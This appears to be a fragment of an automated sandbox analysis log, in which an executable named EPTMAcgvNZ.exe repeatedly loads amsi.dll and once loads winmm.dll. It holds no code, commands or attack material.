Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
